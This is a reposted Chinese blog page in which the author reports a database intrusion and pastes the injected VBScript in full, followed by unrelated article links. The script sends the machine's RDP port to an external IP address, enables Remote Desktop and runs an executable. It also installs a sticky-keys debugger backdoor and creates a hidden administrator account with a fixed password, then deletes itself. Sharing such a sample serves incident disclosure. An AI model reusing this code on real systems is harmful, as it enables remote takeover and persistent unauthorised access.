博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
数据库被入侵了,被注入的脚步如下
阅读量:2431 次
发布时间:2019-05-10

本文共 1329 字,大约阅读时间需要 4 分钟。

on error resume nextSet fso8 = CreateObject("Scripting.FileSystemObject")Set ObjFSO2 = CreateObject("Scripting.FileSystemObject")If fso8.FileExists("C:\WINDOWS\Help\cnwb.html") Then ObjFSO2.DeleteFile Wscript.ScriptFullNameWScript.quitelseend ifSet OperationRegistry=WScript.createObject("WScript.Shell") Dim TSPort,TSState,TSRegPath TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" TSPort=OperationRegistry.RegRead(TSRegPath) Set xPost=CreateObject("Microsoft.XMLHTTP") xPost.Open "GET","http://42.51.151.7:8002/mof.asp?IPnumber=" & TSPort,0 xPost.Send() set obj=wscript.createObject("wscript.shell") obj.Run "cmd /c sc config TermService start= auto",vbhideobj.Run "cmd /c sc start TermService",vbhideobj.Run "cmd /c start c:/windows/system/const.exe",vbhideSet WshShell = WScript.CreateObject("WScript.Shell")WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\taskmgr.exe","REG_SZ"Set o=CreateObject("Shell.Users")Set z=o.create("winhelp")z.changePassword "85760042aa!@#",""z.setting("AccountType")=3Set ObjFSO = CreateObject("Scripting.FileSystemObject")ObjFSO.DeleteFile Wscript.ScriptFullNameWScript.quit

转载地址:http://ezvmb.baihongyu.com/

你可能感兴趣的文章
【Java】【Web】JavaWeb相关知识总结 2018-9-17
查看>>
【数据库】突破单一数据库的性能限制——数据库-分库分表总结 2018-9-20
查看>>
Slurm——作业调度处理
查看>>
Lustre 维护
查看>>
Lustre 操作
查看>>
Lustre—配置和管理磁盘配额
查看>>
Lustre—磁盘配额测试
查看>>
SSH加密密码中的非对称式密码学
查看>>
Mac Redis安装入门教程
查看>>
python3安装教程配置配置阿里云
查看>>
Mac快捷键和实用技巧
查看>>
Git的多人协作和分支处理测试
查看>>
mysql索引回表
查看>>
iterm2 保存阿里云登陆并防止断开连接
查看>>
brew安装
查看>>
mysql5.7初始密码查看及密码重置
查看>>
go语言实现2048小游戏(完整代码)
查看>>
动态二维码免费制作
查看>>
C语言贪吃蛇
查看>>
Python练手项目
查看>>